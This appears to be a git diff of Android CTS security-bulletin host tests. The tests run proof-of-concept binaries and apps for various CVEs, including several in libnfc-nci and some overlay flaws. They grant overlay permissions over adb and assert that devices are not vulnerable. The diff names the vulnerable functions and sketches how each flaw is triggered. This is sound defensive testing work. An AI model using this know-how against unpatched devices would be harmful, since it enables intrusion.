/** + * b/121035711 + * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 121035711) + @Test + public void testPocCVE_2019_2017() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; + String binaryName = "CVE-2019-2017"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t2t_handle_tlv_detect_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java new file mode 100644 index 00000000000..b65faeef587 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2020 extends SecurityTestCase { + + /** + * b/116788646 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 116788646) + @Test + public void testPocCVE_2019_2020() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2020"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "llcp_dlc_proc_rx_pdu")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.checkMinAddress(false); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java new file mode 100644 index 00000000000..21b22856fcc --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2031 extends SecurityTestCase { + + /** + * b/120502559 + * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120502559) + @Test + public void testPocCVE_2019_2031() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; + String binaryName = "CVE-2019-2031"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t3t_act_handle_check_ndef_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java new file mode 100644 index 00000000000..3aa0474a422 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 139017101) + @Test + public void testPocCVE_2020_0015() throws Exception { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2020_0015"; + uninstallPackage(device, testPkg); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2020-0015.apk"); + AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", + device); + assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java new file mode 100644 index 00000000000..6689459f68a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.compatibility.common.util.CrashUtils; + +import java.util.Arrays; +import java.util.ArrayList; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0034 extends SecurityTestCase { + + /** + * b/62458770 + * Vulnerability Behaviour: SIGABRT in self + */ + @AsbSecurityTest(cveBugId = 62458770) + @Test + public void testPocCVE_2020_0034() throws Exception { + pocPusher.only32(); + String binaryName = "CVE-2020-0034"; + String inputFiles[] = {"cve_2020_0034.ivf"}; + String signals[] = {CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java index 9573b393bf6..04d65f81dbc 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -16,13 +16,16 @@ package android.security.cts; -import com.android.tradefed.device.ITestDevice; +import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; -import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2020_0073 extends SecurityTestCase { @@ -30,16 +33,23 @@ public class CVE_2020_0073 extends SecurityTestCase { /** * b/147309942 * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 147309942) public void testPocCVE_2020_0073() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2020-0073"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); - testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t2t_handle_tlv_detect_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); testConfig.config.setSignals(signals); AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java new file mode 100644 index 00000000000..84b45a0304c --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java @@ -0,0 +1,38 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0458 extends SecurityTestCase { + + /** + * b/160265164 + * Vulnerability Behaviour: EXIT_VULNERABLE (113) + */ + @AsbSecurityTest(cveBugId = 160265164) + @Test + public void testPocCVE_2020_0458() throws Exception { + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java index 43a058c5543..ed3e846064b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java @@ -23,7 +23,7 @@ import org.junit.runner.RunWith; import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_29368 extends SecurityTestCase { +public class CVE_2020_29374 extends SecurityTestCase { /** * b/174738029 @@ -31,7 +31,7 @@ public class CVE_2020_29368 extends SecurityTestCase { */ @AsbSecurityTest(cveBugId = 174738029) @Test - public void testPocCVE_2020_29368() throws Exception { - AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60); + public void testPocCVE_2020_29374() throws Exception { + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java index a6ae4f823fa..4b1bc22e33f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.After; import org.junit.Assert; @@ -38,7 +38,7 @@ import org.junit.runner.RunWith; * collected from the hostside and reported accordingly. */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0305 extends BaseHostJUnit4Test { +public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0305"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0305.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java index af3503ce88d..585d19bfbd2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java @@ -1,5 +1,5 @@ /** - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -17,21 +17,40 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0430 extends SecurityTestCase { /** * b/178725766 * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 178725766) public void testPocCVE_2021_0430() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-0430"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_mfc_handle_read_op")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java deleted file mode 100644 index 5f0c200d1f4..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - -import android.platform.test.annotations.AppModeInstant; -import android.platform.test.annotations.AppModeFull; -import android.util.Log; -import android.platform.test.annotations.AsbSecurityTest; - -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import com.android.tradefed.log.LogUtil.CLog; - -import org.junit.After; -import org.junit.Assert; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -import static org.junit.Assert.*; -import static org.hamcrest.CoreMatchers.*; - -/** - * Test that collects test results from test package android.security.cts.CVE_2021_0481. - * - * When this test builds, it also builds a support APK containing - * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are - * collected from the hostside and reported accordingly. - */ -@RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0481 extends BaseHostJUnit4Test { - private static final String TEST_PKG = "android.security.cts.CVE_2021_0481"; - private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; - private static final String TEST_APP = "CVE-2021-0481.apk"; - - private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/"; - private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/"; - - //defined originally as - //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg"; - //in com.android.settings.users.EditUserPhotoController class - private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg"; - private static final String TEST_FILE_NAME = "cve_2021_0481.txt"; - - @Before - public void setUp() throws Exception { - uninstallPackage(getDevice(), TEST_PKG); - } - - @Test - @AsbSecurityTest(cveBugId = 172939189) - @AppModeFull - public void testRunDeviceTest() throws Exception { - - String cmd; - - //delete a source file just in case AdbUtils.pushResource() - //doesn't overwrite existing file - cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME; - AdbUtils.runCommandLine(cmd, getDevice()); - - //push the source file to a device - AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice()); - - //delete a destination file which is supposed to be created by a vulnerable device - //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME - cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME; - AdbUtils.runCommandLine(cmd, getDevice()); - - installPackage(); - - //ensure the screen is woken up. - //KEYCODE_WAKEUP wakes up the screen - //KEYCODE_MENU called twice unlocks the screen (if locked) - //Note: (applies to Android 12 only): - // KEYCODE_MENU called less than twice doesnot unlock the screen - // no matter how many times KEYCODE_HOME is called. - // This is likely a timing issue which has to be investigated further - getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP"); - getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); - getDevice().executeShellCommand("input keyevent KEYCODE_HOME"); - getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); - - //run the test - Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp")); - - //go to home screen after test - getDevice().executeShellCommand("input keyevent KEYCODE_HOME"); - - //Check if TEST_FILE_NAME has been copied by "Evil activity" - //If the file has been copied then it means the vulnerability is active so the test fails. - cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + - DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?"; - String result = AdbUtils.runCommandLine(cmd, getDevice()).trim(); - CLog.i(cmd + " -->" + result); - - //Delete files created by this test - cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME; - AdbUtils.runCommandLine(cmd, getDevice()); - cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME; - AdbUtils.runCommandLine(cmd, getDevice()); - - //final assert - assertThat(result, not(is("0"))); - } - - private void installPackage() throws Exception { - installPackage(TEST_APP, new String[0]); - } -} - diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java index db0a1b27cd2..3e6928853de 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -16,85 +16,43 @@ package android.security.cts; +import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import org.junit.Test; -import org.junit.runner.RunWith; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; -import static org.hamcrest.core.Is.is; -import static org.junit.Assert.assertThat; +import org.junit.Assert; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0523 extends SecurityTestCase { +public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0523.apk"; - private static void extractInt(String str, int[] displaySize) { - str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " "); - if (str.equals("")) { - return; - } - String s[] = str.split(" "); - for (int i = 0; i < s.length; ++i) { - displaySize[i] = Integer.parseInt(s[i]); - } + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); } /** * b/174047492 */ - @Test + @AppModeFull @AsbSecurityTest(cveBugId = 174047492) + @Test public void testPocCVE_2021_0523() throws Exception { - final int SLEEP_INTERVAL_MILLISEC = 30 * 1000; - String apkName = "CVE-2021-0523.apk"; - String appPath = AdbUtils.TMP_PATH + apkName; - String packageName = "android.security.cts.cve_2021_0523"; - String crashPattern = - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; - ITestDevice device = getDevice(); - - try { - /* Push the app to /data/local/tmp */ - pocPusher.appendBitness(false); - pocPusher.pushFile(apkName, appPath); - - /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); - - /* Install the application */ - AdbUtils.runCommandLine("pm install " + appPath, device); - - /* Grant "Draw over other apps" permission */ - AdbUtils.runCommandLine( - "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device); - - /* Start the application */ - AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice()); - Thread.sleep(SLEEP_INTERVAL_MILLISEC); - - /* Get screen width and height */ - int[] displaySize = new int[2]; - extractInt(AdbUtils.runCommandLine("wm size", device), displaySize); - int width = displaySize[0]; - int height = displaySize[1]; - - /* Give a tap command for center of screen */ - AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device); - } catch (Exception e) { - e.printStackTrace(); - } finally { - /* Un-install the app after the test */ - AdbUtils.runCommandLine("pm uninstall " + packageName, device); - - /* Detection of crash pattern in the logs */ - String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device); - Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE); - assertThat(crashPattern, pattern.matcher(logcat).find(), is(false)); - } + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + getDevice()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java index 34e2ca1ec31..5a7ec8d1c24 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java @@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0586 extends BaseHostJUnit4Test { +public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0586.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java index 0c8f0a9fd1b..eb74b201862 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java @@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.RequiresDevice; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import java.util.regex.Pattern; import org.junit.Assert; import org.junit.Before; @@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat; import static org.junit.Assume.assumeTrue; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0591 extends BaseHostJUnit4Test { +public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0591"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java new file mode 100644 index 00000000000..29fd2b39bf2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java @@ -0,0 +1,56 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase { + static final String TEST_APP = "CVE-2021-0642.apk"; + static final String TEST_PKG = "android.security.cts.cve_2021_0642"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent 